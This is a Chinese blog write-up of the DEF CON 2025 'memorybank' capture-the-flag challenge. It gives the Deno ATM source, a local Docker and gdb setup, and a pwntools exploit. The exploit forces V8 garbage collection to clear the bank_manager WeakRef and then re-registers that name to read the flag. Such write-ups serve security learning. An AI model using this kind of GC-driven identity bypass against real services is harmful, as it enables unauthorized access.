2025defcon-memorybank学习及其调试 题目描述 This challenge was an easy challenge requiring the user to trigger a V8 engine Garbage Collection cycle. This will null out the WeakRef for the bank_manager
user.
The intended exploit involved widthdrawing 10000+ bills each with a large signature of 1k
环境搭建 看题目描述应该是关于v8垃圾回收机制的题目了,
题目附件(修改后的) dockerfile:
1 2 3 4 5 6 7 8 9 FROM denoland/deno:latest WORKDIR /app ADD run_challenge.sh /app/run_challenge.sh ADD index.js /app/index.js ADD flag /flag CMD ["/app/run_challenge.sh"]
index.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 const RESET = "\x1b[0m" ;const GREEN = "\x1b[32m" ;const YELLOW = "\x1b[33m" ;const BLUE = "\x1b[34m" ;const MAGENTA = "\x1b[35m" ;const CYAN = "\x1b[36m" ;const WHITE = "\x1b[37m" ;const BRIGHT = "\x1b[1m" ;const DIM = "\x1b[2m" ;const ATM_ART = ` ${CYAN} ╔══════════════════════════════════════════════════════╗║ ${BRIGHT} ╔═╗╔╦╗╔╦╗ ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗ ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗${RESET} ${CYAN} ║ ║ ${BRIGHT} ╠═╣ ║ ║║║──║║║╠═╣║ ╠═╣║║║║║╣ ──║║║╠═╣║ ╠═╣║║║║║╣ ${RESET} ${CYAN} ║ ║ ${BRIGHT} ╩ ╩ ╩ ╩ ╩ ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝ ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝${RESET} ${CYAN} ║ ║ ║ ║ ${MAGENTA} ┌─────────────────────┐${CYAN} ║ ║ ${MAGENTA} │ ${WHITE} MEMORY BANK${MAGENTA} │${CYAN} ║ ║ ${MAGENTA} └─────────────────────┘${CYAN} ║ ║ ║ ║ ${YELLOW} ┌─────┬─────┬─────┐${CYAN} ║ ║ ${YELLOW} │ ${WHITE} 1${YELLOW} │ ${WHITE} 2${YELLOW} │ ${WHITE} 3${YELLOW} │${CYAN} ║ ║ ${YELLOW} ├─────┼─────┼─────┤${CYAN} ║ ║ ${YELLOW} │ ${WHITE} 4${YELLOW} │ ${WHITE} 5${YELLOW} │ ${WHITE} 6${YELLOW} │${CYAN} ║ ║ ${YELLOW} ├─────┼─────┼─────┤${CYAN} ║ ║ ${YELLOW} │ ${WHITE} 7${YELLOW} │ ${WHITE} 8${YELLOW} │ ${WHITE} 9${YELLOW} │${CYAN} ║ ║ ${YELLOW} ├─────┼─────┼─────┤${CYAN} ║ ║ ${YELLOW} │ ${WHITE} *${YELLOW} │ ${WHITE} 0${YELLOW} │ ${WHITE} #${YELLOW} │${CYAN} ║ ║ ${YELLOW} └─────┴─────┴─────┘${CYAN} ║ ║ ║ ║ ${GREEN} ╔══════════════════╗${CYAN} ║ ║ ${GREEN} ║ ${WHITE} INSERT CARD HERE${GREEN} ║${CYAN} ║ ║ ${GREEN} ╚══════════════════╝${CYAN} ║ ║ ║ ║ ${BLUE} ┌─────────────────┐${CYAN} ║ ║ ${BLUE} │ ${WHITE} CASH DISPENSER${BLUE} │${CYAN} ║ ║ ${BLUE} └─────────────────┘${CYAN} ║ ╚══════════════════════════════════════════════════════╝${RESET} ` ;const MARBLE_TOP = ` ${DIM} ${WHITE} ╔══════════════════════════════════════════════════════╗║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓ ║ ║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░ ║ ║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ║ ╚══════════════════════════════════════════════════════╝${RESET} ` ;const MARBLE_BOTTOM = ` ${DIM} ${WHITE} ╔══════════════════════════════════════════════════════╗║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ║ ║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░ ║ ║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓ ║ ╚══════════════════════════════════════════════════════╝${RESET} ` ;class User { constructor (username ) { this .username = username; this .balance = 101 ; this .signature = null ; } } class Bill { constructor (value, signature ) { this .value = value; this .serialNumber = 'SN-' + crypto.randomUUID (); this .signature = new Uint8Array (signature.length ); for (let i = 0 ; i < signature.length ; i++) { this .signature [i] = signature.charCodeAt (i); } } toString ( ) { return `${this .value} token bill (S/N: ${this .serialNumber} )` ; } } class UserRegistry { constructor ( ) { this .users = []; } addUser (user ) { this .users .push (new WeakRef (user)); } getUserByUsername (username ) { for (let user of this .users ) { user = user.deref (); if (!user) continue ; if (user.username === username) { return user; } } return null ; } *[Symbol .iterator ]() { for (const weakRef of this .users ) { const user = weakRef.deref (); if (user) yield user; } } } const users = new UserRegistry ();function promptSync (message ) { const buf = new Uint8Array (1024 *1024 ); Deno .stdout .writeSync (new TextEncoder ().encode (`${YELLOW} ${message} ${RESET} ` )); const n = Deno .stdin .readSync (buf); return new TextDecoder ().decode (buf.subarray (0 , n)).trim (); } function init ( ) { users.addUser (new User ("bank_manager" )); } async function main ( ) { init (); console .log (ATM_ART ); console .log (MARBLE_TOP ); console .log (`${BRIGHT} ${CYAN} Welcome to the Memory Banking System! Loading...${RESET} ` ); console .log (MARBLE_BOTTOM ); setTimeout (async () => { await user (); }, 1000 ); } async function user ( ) { let isLoggedIn = false ; let currentUser = null ; while (true ) { if (!isLoggedIn) { console .log (`${YELLOW} You have 20 seconds to complete your transaction before the bank closes for the day.\n${RESET} ` ); while (!isLoggedIn) { let username = promptSync ("Please register with a username (or type 'exit' to quit): " ); if (!username) { console .log (`${CYAN} Thank you for using Memory Banking System!${RESET} ` ); Deno .exit (0 ); } if (username.toLowerCase () === 'exit' ) { console .log (`${CYAN} Thank you for using Memory Banking System!${RESET} ` ); Deno .exit (0 ); } if (username.toLowerCase () === 'random' ) { username = 'random-' + crypto.randomUUID (); } else { let existingUser = users.getUserByUsername (username); if (existingUser) { console .log (`${MAGENTA} User already exists. Please choose another username.${RESET} ` ); continue ; } } currentUser = new User (username); users.addUser (currentUser); if (currentUser.username === "bank_manager" ) { currentUser.balance = 100000000 ; } console .log (MARBLE_TOP ); console .log (`${BRIGHT} ${GREEN} Welcome, ${username} ! Your starting balance is ${currentUser.balance} tokens.${RESET} ` ); console .log (MARBLE_BOTTOM ); isLoggedIn = true ; } } console .log ("\n" + MARBLE_TOP ); console .log (`${CYAN} ${BRIGHT} Available operations:${RESET} ` ); console .log (`${CYAN} 1. Check balance${RESET} ` ); console .log (`${CYAN} 2. Withdraw tokens${RESET} ` ); console .log (`${CYAN} 3. Set signature${RESET} ` ); console .log (`${CYAN} 4. Logout${RESET} ` ); console .log (`${CYAN} 5. Exit${RESET} ` ); if (currentUser.username === "bank_manager" ) { console .log (`${MAGENTA} ${BRIGHT} 6. Vault: Withdrawflag${RESET} ` ); } console .log (MARBLE_BOTTOM ); const choice = promptSync ("Choose an operation (1-" + (currentUser.username === "bank_manager" ? "6" : "5" ) + "): " ); switch (choice) { case "1" : console .log (`${GREEN} Your balance is ${BRIGHT} ${currentUser.balance} ${RESET} ${GREEN} tokens.${RESET} ` ); break ; case "2" : const amount = parseInt (promptSync ("Enter amount to withdraw: " )); if (isNaN (amount) || amount <= 0 ) { console .log (`${MAGENTA} Invalid amount.${RESET} ` ); continue ; } if (amount > currentUser.balance ) { console .log (`${MAGENTA} Insufficient funds.${RESET} ` ); continue ; } const billOptions = [1 , 5 , 10 , 20 , 50 , 100 ]; console .log (`${YELLOW} Available bill denominations: ${billOptions.join(", " )} ${RESET} ` ); const denomStr = promptSync ("Enter bill denomination: " ); const denomination = parseFloat (denomStr); if (denomination <=0 || isNaN (denomination) || denomination > amount) { console .log (`${MAGENTA} Invalid denomination: ${denomination} ${RESET} ` ); continue ; } const numBills = amount / denomination; const bills = []; for (let i = 0 ; i < numBills; i++) { bills.push (new Bill (denomination, currentUser.signature || 'VOID' )); } currentUser.balance -= amount; console .log (`${GREEN} Withdrew ${BRIGHT} ${amount} ${RESET} ${GREEN} tokens as ${bills.length} bills of ${denomination} :${RESET} ` ); console .log (`${GREEN} Remaining balance: ${BRIGHT} ${currentUser.balance} ${RESET} ${GREEN} tokens${RESET} ` ); break ; case "3" : const signature = promptSync ("Enter your signature (will be used on bills): " ); currentUser.signature = signature; console .log (`${GREEN} Your signature has been updated${RESET} ` ); break ; case "4" : console .log (`${YELLOW} You have been logged out.${RESET} ` ); isLoggedIn = false ; currentUser = null ; break ; case "5" : console .log (MARBLE_TOP ); console .log (`${CYAN} ${BRIGHT} Thank you for using Memory Banking System!${RESET} ` ); console .log (MARBLE_BOTTOM ); Deno .exit (0 ); case "6" : if (currentUser.username === "bank_manager" ) { try { const flag = Deno .readTextFileSync ("/flag" ); console .log (`${BRIGHT} ${GREEN} Flag contents:${RESET} ` ); console .log (`${BRIGHT} ${GREEN} ${flag} ${RESET} ` ); } catch (err) { console .log (`${MAGENTA} Error reading flag file:${RESET} ` , err.message ); } } else { console .log (`${MAGENTA} ${BRIGHT} Unauthorized access attempt logged 🚨🚨🚨🚨🚨🚨${RESET} ` ); } break ; default : console .log (`${MAGENTA} Invalid option.${RESET} ` ); } } } main ().catch (err => { console .error (`${MAGENTA} An error occurred:${RESET} ` , err); Deno .exit (1 ); });
run_challenge.sh:
1 2 3 4 5 6 7 8 #!/bin/bash ulimit -m 22400deno run --v8-flags=--trace-gc --allow-read index.js echo "⏰ 🚫 BANK IS NOW CLOSED FOR THE DAY 🚫 ⏰"
run.sh:
1 2 3 4 5 #!/bin/bash docker build -t deno-banking-system . docker run --rm -i -p 8080:80 --name memorybank deno-banking-system
复现交互环境及调试环境 在复现该题目时已经没有靶机了,所以我选择利用docker启动环境再使用pwntools进行交互,调试选择使用gdb attach附加到进程
image-20250418170413078
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *container_name = "memorybank" a = process("./run.sh" ) pause() p = process(f"docker top {container_name} " , shell=True ) output = p.recvall().decode() print (f"docker top output:\n{output} " )pid = None for line in output.splitlines(): if 'deno' in line: pid = line.split()[1 ] break if pid: print (f"Found PID: {pid} " ) else : print ("No matching process found." ) p.close() print (f"PID: {pid} " )a.sendlineafter("exit' to quit): " , b'a' ) a.interactive() a.close()
题目分析 首先定义了很多颜色代码和模拟了一个ATM的界面
主要分析后面的部分
类 1 2 3 4 5 6 7 class User { constructor (username ) { this .username = username; this .balance = 101 ; this .signature = null ; } }
定义了用户类,代表一个注册的用户,每个用户拥有用户名、初始余额以及签名三个部分;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Bill { constructor (value, signature ) { this .value = value; this .serialNumber = 'SN-' + crypto.randomUUID (); this .signature = new Uint8Array (signature.length ); for (let i = 0 ; i < signature.length ; i++) { this .signature [i] = signature.charCodeAt (i); } } toString ( ) { return `${this .value} token bill (S/N: ${this .serialNumber} )` ; } }
定义了钞票类,表示用户可以提取的钞票,每张钞票拥有值、序列号(使用crypto.randomUUID()
生成)以及签名三个部分组成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class UserRegistry { constructor ( ) { this .users = []; } addUser (user ) { this .users .push (new WeakRef (user)); } getUserByUsername (username ) { for (let user of this .users ) { user = user.deref (); if (!user) continue ; if (user.username === username) { return user; } } return null ; } *[Symbol .iterator ]() { for (const weakRef of this .users ) { const user = weakRef.deref (); if (user) yield user; } } }
这部分是用户的注册和登录部分,该类管理所有的注册的用户;通过addUser
方法注册,使用getUserByUsername
方法查找特定的用户名的用户;迭代器方便遍历已注册的用户;
函数 1 2 3 4 5 6 function promptSync (message ) { const buf = new Uint8Array (1024 *1024 ); Deno .stdout .writeSync (new TextEncoder ().encode (`${YELLOW} ${message} ${RESET} ` )); const n = Deno .stdin .readSync (buf); return new TextDecoder ().decode (buf.subarray (0 , n)).trim (); }
用户交互,该函数主要是同步的输入函数,也就是我们正常交互的那里
1 2 3 4 5 6 7 8 9 10 11 async function main ( ) { init (); console .log (ATM_ART ); console .log (MARBLE_TOP ); console .log (`${BRIGHT} ${CYAN} Welcome to the Memory Banking System! Loading...${RESET} ` ); console .log (MARBLE_BOTTOM ); setTimeout (async () => { await user (); }, 1000 ); }
首先初始化,然后将之前的ATM界面输出出来, 然后调用user()函数去交互
下面为主要部分,但因为比较长,就把分析写入到代码注释了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 async function user ( ) { let isLoggedIn = false ; let currentUser = null ; while (true ) { if (!isLoggedIn) { console .log (`${YELLOW} You have 20 seconds to complete your transaction before the bank closes for the day.\n${RESET} ` ); while (!isLoggedIn) { let username = promptSync ("Please register with a username (or type 'exit' to quit): " ); if (!username) { console .log (`${CYAN} Thank you for using Memory Banking System!${RESET} ` ); Deno .exit (0 ); } if (username.toLowerCase () === 'exit' ) { console .log (`${CYAN} Thank you for using Memory Banking System!${RESET} ` ); Deno .exit (0 ); } if (username.toLowerCase () === 'random' ) { username = 'random-' + crypto.randomUUID (); } else { let existingUser = users.getUserByUsername (username); if (existingUser) { console .log (`${MAGENTA} User already exists. Please choose another username.${RESET} ` ); continue ; } } currentUser = new User (username); users.addUser (currentUser); if (currentUser.username === "bank_manager" ) { currentUser.balance = 100000000 ; } console .log (MARBLE_TOP ); console .log (`${BRIGHT} ${GREEN} Welcome, ${username} ! Your starting balance is ${currentUser.balance} tokens.${RESET} ` ); console .log (MARBLE_BOTTOM ); isLoggedIn = true ; } } console .log ("\n" + MARBLE_TOP ); console .log (`${CYAN} ${BRIGHT} Available operations:${RESET} ` ); console .log (`${CYAN} 1. Check balance${RESET} ` ); console .log (`${CYAN} 2. Withdraw tokens${RESET} ` ); console .log (`${CYAN} 3. Set signature${RESET} ` ); console .log (`${CYAN} 4. Logout${RESET} ` ); console .log (`${CYAN} 5. Exit${RESET} ` ); if (currentUser.username === "bank_manager" ) { console .log (`${MAGENTA} ${BRIGHT} 6. Vault: Withdrawflag${RESET} ` ); } console .log (MARBLE_BOTTOM ); const choice = promptSync ("Choose an operation (1-" + (currentUser.username === "bank_manager" ? "6" : "5" ) + "): " ); switch (choice) { case "1" : console .log (`${GREEN} Your balance is ${BRIGHT} ${currentUser.balance} ${RESET} ${GREEN} tokens.${RESET} ` ); break ; case "2" : const amount = parseInt (promptSync ("Enter amount to withdraw: " )); if (isNaN (amount) || amount <= 0 ) { console .log (`${MAGENTA} Invalid amount.${RESET} ` ); continue ; } if (amount > currentUser.balance ) { console .log (`${MAGENTA} Insufficient funds.${RESET} ` ); continue ; } const billOptions = [1 , 5 , 10 , 20 , 50 , 100 ]; console .log (`${YELLOW} Available bill denominations: ${billOptions.join(", " )} ${RESET} ` ); const denomStr = promptSync ("Enter bill denomination: " ); const denomination = parseFloat (denomStr); if (denomination <=0 || isNaN (denomination) || denomination > amount) { console .log (`${MAGENTA} Invalid denomination: ${denomination} ${RESET} ` ); continue ; } const numBills = amount / denomination; const bills = []; for (let i = 0 ; i < numBills; i++) { bills.push (new Bill (denomination, currentUser.signature || 'VOID' )); } currentUser.balance -= amount; console .log (`${GREEN} Withdrew ${BRIGHT} ${amount} ${RESET} ${GREEN} tokens as ${bills.length} bills of ${denomination} :${RESET} ` ); console .log (`${GREEN} Remaining balance: ${BRIGHT} ${currentUser.balance} ${RESET} ${GREEN} tokens${RESET} ` ); break ; case "3" : const signature = promptSync ("Enter your signature (will be used on bills): " ); currentUser.signature = signature; console .log (`${GREEN} Your signature has been updated${RESET} ` ); break ; case "4" : console .log (`${YELLOW} You have been logged out.${RESET} ` ); isLoggedIn = false ; currentUser = null ; break ; case "5" : console .log (MARBLE_TOP ); console .log (`${CYAN} ${BRIGHT} Thank you for using Memory Banking System!${RESET} ` ); console .log (MARBLE_BOTTOM ); Deno .exit (0 ); case "6" : if (currentUser.username === "bank_manager" ) { try { const flag = Deno .readTextFileSync ("/flag" ); console .log (`${BRIGHT} ${GREEN} Flag contents:${RESET} ` ); console .log (`${BRIGHT} ${GREEN} ${flag} ${RESET} ` ); } catch (err) { console .log (`${MAGENTA} Error reading flag file:${RESET} ` , err.message ); } } else { console .log (`${MAGENTA} ${BRIGHT} Unauthorized access attempt logged 🚨🚨🚨🚨🚨🚨${RESET} ` ); } break ; default : console .log (`${MAGENTA} Invalid option.${RESET} ` ); } } }
解题 后续就是垃圾回收知识的部分了,这里也是懒得写了。。。。。。
并且该文章主要是分享一下复现该题目的时候本地环境搭建的过程,后面就贴个exp吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *container_name = "memorybank" a = process("./run.sh" ) pause() p = process(f"docker top {container_name} " , shell=True ) output = p.recvall().decode() print (f"docker top output:\n{output} " )pid = None for line in output.splitlines(): if 'deno' in line: pid = line.split()[1 ] break if pid: print (f"Found PID: {pid} " ) else : print ("No matching process found." ) p.close() def menu (num ): a.sendlineafter("operation (1-5): " , str (num)) def signin (username ): a.sendlineafter("Please register with a username (or type 'exit' to quit): " , username) def Setsignature (signature ): menu(3 ) a.sendlineafter("Enter your signature (will be used on bills): " , signature) def withdraw (amount, denomination ): menu(2 ) a.sendlineafter("Enter amount to withdraw: " , amount) a.sendlineafter("Enter bill denomination: " , denomination) def logout (): menu(4 ) signin(b'random' ) Setsignature(b'a' *500 ) sleep(0.2 ) withdraw(b'100' , b'0.0005' ) sleep(0.2 ) logout() sleep(0.2 ) signin(b'bank_manager' ) a.interactive() a.close()
image-20250420011715570